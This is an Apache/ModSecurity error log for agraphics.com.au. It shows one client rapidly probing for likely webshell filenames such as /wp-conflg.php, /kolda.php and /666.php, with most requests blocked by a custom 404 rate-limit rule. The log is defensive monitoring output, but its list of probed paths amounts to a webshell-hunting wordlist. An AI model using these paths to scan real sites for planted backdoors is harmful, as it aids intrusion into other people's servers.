[Tue May 26 22:37:34.446615 2026] [:error] [pid 36497:tid 36518] [client 20.63.34.22:14224] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z.php"] [unique_id "ahWwLrjKQWM1gBmBY4hKJgAAAMg"]
[Tue May 26 22:37:35.230444 2026] [:error] [pid 33887:tid 33938] [client 20.63.34.22:14168] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z.php"] [unique_id "ahWwL9COI_FV7meOxGdZnQAAAJM"]
[Tue May 26 22:37:36.126435 2026] [:error] [pid 33887:tid 33928] [client 20.63.34.22:14294] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ahWwMNCOI_FV7meOxGdZngAAAIk"]
[Tue May 26 22:37:37.103664 2026] [:error] [pid 33888:tid 33953] [client 20.63.34.22:14209] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ahWwMTqzTeoxiinZsGEv-QAAAQc"]
[Tue May 26 22:37:37.523467 2026] [:error] [pid 33977:tid 33988] [client 20.63.34.22:14317] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ahWwMe9cnSDNAU9sYPgbwQAAAAg"]
[Tue May 26 22:37:37.978269 2026] [:error] [pid 33886:tid 33913] [client 20.63.34.22:14269] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ahWwMbBYzgp5rPVdHcXAbgAAAFY"]
[Tue May 26 22:37:38.498354 2026] [:error] [pid 33977:tid 33980] [client 20.63.34.22:14311] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/admin.php"] [unique_id "ahWwMu9cnSDNAU9sYPgbwwAAAAA"]
[Tue May 26 22:37:38.931789 2026] [:error] [pid 43701:tid 43718] [client 20.63.34.22:14146] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/admin.php"] [unique_id "ahWwMoWtVI_UGrhtwKAgpAAAAU8"]
[Tue May 26 22:37:39.572214 2026] [:error] [pid 33977:tid 34002] [client 20.63.34.22:14110] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/admin.php"] [unique_id "ahWwM-9cnSDNAU9sYPgbxwAAABY"]
[Tue May 26 22:37:40.151658 2026] [:error] [pid 33977:tid 33994] [client 20.63.34.22:14150] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/admin.php"] [unique_id "ahWwNO9cnSDNAU9sYPgbywAAAA4"]
[Tue May 26 22:37:40.585779 2026] [:error] [pid 36497:tid 36521] [client 20.63.34.22:14147] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ahWwNLjKQWM1gBmBY4hKMAAAAMs"]
[Tue May 26 22:37:41.128876 2026] [:error] [pid 36497:tid 36513] [client 20.63.34.22:14318] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ahWwNbjKQWM1gBmBY4hKMgAAAMM"]
[Tue May 26 22:37:41.712462 2026] [:error] [pid 43701:tid 43727] [client 20.63.34.22:14239] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ahWwNYWtVI_UGrhtwKAgrQAAAVg"]
[Tue May 26 22:37:42.310264 2026] [:error] [pid 33887:tid 33941] [client 20.63.34.22:14259] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "ahWwNtCOI_FV7meOxGdZqwAAAJY"]
[Tue May 26 22:37:42.804242 2026] [:error] [pid 33888:tid 33949] [client 20.63.34.22:13667] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ahWwNjqzTeoxiinZsGEwAAAAAQM"]
[Tue May 26 22:37:43.306530 2026] [:error] [pid 33977:tid 33980] [client 20.63.34.22:14331] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ahWwN-9cnSDNAU9sYPgbzgAAAAA"]
[Tue May 26 22:37:43.819913 2026] [:error] [pid 36497:tid 36514] [client 20.63.34.22:14161] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ahWwN7jKQWM1gBmBY4hKNAAAAMQ"]
[Tue May 26 22:37:44.463058 2026] [:error] [pid 33887:tid 33935] [client 20.63.34.22:14300] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "ahWwONCOI_FV7meOxGdZsAAAAJA"]
[Tue May 26 22:37:45.186980 2026] [:error] [pid 43701:tid 43704] [client 20.63.34.22:14319] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "ahWwOYWtVI_UGrhtwKAgtQAAAUE"]
[Tue May 26 22:37:45.689975 2026] [:error] [pid 43701:tid 43714] [client 20.63.34.22:14187] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "ahWwOYWtVI_UGrhtwKAgtwAAAUs"]
[Tue May 26 22:37:46.183716 2026] [:error] [pid 43701:tid 43715] [client 20.63.34.22:14184] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "ahWwOoWtVI_UGrhtwKAgvQAAAUw"]
[Tue May 26 22:37:46.832047 2026] [:error] [pid 33888:tid 33963] [client 20.63.34.22:14297] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "ahWwOjqzTeoxiinZsGEwAwAAARE"]
[Tue May 26 22:37:47.429222 2026] [:error] [pid 33886:tid 33891] [client 20.63.34.22:14333] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "ahWwO7BYzgp5rPVdHcXAcQAAAEA"]
[Tue May 26 22:37:48.250142 2026] [:error] [pid 43701:tid 43722] [client 20.63.34.22:14298] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "ahWwPIWtVI_UGrhtwKAgzQAAAVM"]
[Tue May 26 22:37:48.958051 2026] [:error] [pid 43701:tid 43724] [client 20.63.34.22:14227] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "ahWwPIWtVI_UGrhtwKAg1wAAAVU"]
[Tue May 26 22:37:49.693009 2026] [:error] [pid 43701:tid 43719] [client 20.63.34.22:14291] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x.php"] [unique_id "ahWwPYWtVI_UGrhtwKAg4AAAAVA"]
[Tue May 26 22:37:50.244910 2026] [:error] [pid 33886:tid 33893] [client 20.63.34.22:14257] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "ahWwPrBYzgp5rPVdHcXAcwAAAEI"]
[Tue May 26 22:37:50.918473 2026] [:error] [pid 36497:tid 36521] [client 20.63.34.22:14242] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "ahWwPrjKQWM1gBmBY4hKPAAAAMs"]
[Tue May 26 22:37:51.576879 2026] [:error] [pid 33977:tid 33980] [client 20.63.34.22:14305] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "ahWwP-9cnSDNAU9sYPgb5QAAAAA"]
[Tue May 26 22:37:52.056790 2026] [:error] [pid 36497:tid 36512] [client 20.63.34.22:14026] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "ahWwQLjKQWM1gBmBY4hKPwAAAMI"]
[Tue May 26 22:37:52.586207 2026] [:error] [pid 36497:tid 36531] [client 20.63.34.22:14191] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "ahWwQLjKQWM1gBmBY4hKQgAAANU"]
[Tue May 26 22:37:53.120225 2026] [:error] [pid 36497:tid 36524] [client 20.63.34.22:14135] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "ahWwQbjKQWM1gBmBY4hKRwAAAM4"]
[Tue May 26 22:37:53.540970 2026] [:error] [pid 36497:tid 36534] [client 20.63.34.22:14252] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "ahWwQbjKQWM1gBmBY4hKSQAAANg"]
[Tue May 26 22:37:53.998251 2026] [:error] [pid 33887:tid 33941] [client 20.63.34.22:14246] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "ahWwQdCOI_FV7meOxGdZvQAAAJY"]
[Tue May 26 22:37:54.425645 2026] [:error] [pid 43701:tid 43709] [client 20.63.34.22:14130] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hello.php"] [unique_id "ahWwQoWtVI_UGrhtwKAg6wAAAUY"]
[Tue May 26 22:37:55.154318 2026] [proxy_fcgi:error] [pid 43701:tid 43717] [client 20.63.34.22:14172] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:37:55.650377 2026] [proxy_fcgi:error] [pid 43701:tid 43721] [client 20.63.34.22:14172] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:37:55.882695 2026] [proxy_fcgi:error] [pid 43701:tid 43704] [client 20.63.34.22:14172] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:37:56.111561 2026] [proxy_fcgi:error] [pid 43701:tid 43708] [client 20.63.34.22:14172] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:37:56.403588 2026] [proxy_fcgi:error] [pid 43701:tid 43709] [client 20.63.34.22:14172] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:37:56.614893 2026] [proxy_fcgi:error] [pid 43701:tid 43707] [client 20.63.34.22:14172] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:37:56.853900 2026] [proxy_fcgi:error] [pid 43701:tid 43715] [client 20.63.34.22:14172] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:37:57.075050 2026] [proxy_fcgi:error] [pid 43701:tid 43711] [client 20.63.34.22:14172] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:37:57.285272 2026] [proxy_fcgi:error] [pid 43701:tid 43712] [client 20.63.34.22:14172] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:37:57.511052 2026] [proxy_fcgi:error] [pid 43701:tid 43705] [client 20.63.34.22:14172] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:37:57.761613 2026] [proxy_fcgi:error] [pid 43701:tid 43703] [client 20.63.34.22:14172] AH01071: Got error 'Primary script unknown'
[Tue May 26 22:37:57.968298 2026] [:error] [pid 43701:tid 43713] [client 20.63.34.22:14172] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "ahWwRYWtVI_UGrhtwKAhAQAAAUo"]
[Tue May 26 22:37:58.573699 2026] [:error] [pid 33977:tid 34000] [client 20.63.34.22:14266] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "ahWwRu9cnSDNAU9sYPgb7QAAABQ"]
[Tue May 26 22:37:59.308906 2026] [:error] [pid 36497:tid 36513] [client 20.63.34.22:14220] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "ahWwR7jKQWM1gBmBY4hKVAAAAMM"]
[Tue May 26 22:37:59.809040 2026] [:error] [pid 43701:tid 43716] [client 20.63.34.22:14179] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "ahWwR4WtVI_UGrhtwKAhBQAAAU0"]
[Tue May 26 22:38:00.322412 2026] [:error] [pid 33887:tid 33943] [client 20.63.34.22:14303] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "ahWwSNCOI_FV7meOxGdZxQAAAJg"]
[Tue May 26 22:38:01.229128 2026] [:error] [pid 36497:tid 36510] [client 20.63.34.22:14215] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "ahWwSbjKQWM1gBmBY4hKVgAAAMA"]
[Tue May 26 22:38:01.956615 2026] [:error] [pid 36497:tid 36534] [client 20.63.34.22:14229] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "ahWwSbjKQWM1gBmBY4hKWQAAANg"]
[Tue May 26 22:38:02.445338 2026] [:error] [pid 36497:tid 36520] [client 20.63.34.22:14190] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/myfile.php"] [unique_id "ahWwSrjKQWM1gBmBY4hKXgAAAMo"]
[Tue May 26 22:38:03.074828 2026] [:error] [pid 33977:tid 33983] [client 20.63.34.22:14217] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "ahWwS-9cnSDNAU9sYPgb9QAAAAM"]
[Tue May 26 22:38:03.635605 2026] [:error] [pid 33977:tid 33994] [client 20.63.34.22:13669] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "ahWwS-9cnSDNAU9sYPgb9gAAAA4"]
[Tue May 26 22:38:04.198717 2026] [:error] [pid 33886:tid 33895] [client 20.63.34.22:14173] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "ahWwTLBYzgp5rPVdHcXAgAAAAEQ"]
[Tue May 26 22:38:04.805309 2026] [:error] [pid 43701:tid 43704] [client 20.63.34.22:14145] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "ahWwTIWtVI_UGrhtwKAhDAAAAUE"]
[Tue May 26 22:38:05.463487 2026] [:error] [pid 33886:tid 33901] [client 20.63.34.22:14323] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "ahWwTbBYzgp5rPVdHcXAggAAAEo"]
[Tue May 26 22:38:05.938000 2026] [:error] [pid 36497:tid 36517] [client 20.63.34.22:14177] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "ahWwTbjKQWM1gBmBY4hKYwAAAMc"]
[Tue May 26 22:38:06.611505 2026] [:error] [pid 36497:tid 36515] [client 20.63.34.22:14264] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "ahWwTrjKQWM1gBmBY4hKZQAAAMU"]
[Tue May 26 22:38:07.079962 2026] [:error] [pid 43701:tid 43718] [client 20.63.34.22:14189] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "ahWwT4WtVI_UGrhtwKAhFQAAAU8"]
[Tue May 26 22:38:07.588708 2026] [:error] [pid 43701:tid 43717] [client 20.63.34.22:14236] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "ahWwT4WtVI_UGrhtwKAhFgAAAU4"]
[Tue May 26 22:38:08.015821 2026] [:error] [pid 36497:tid 36530] [client 20.63.34.22:14233] [client 20.63.34.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "ahWwULjKQWM1gBmBY4hKbAAAANQ"]
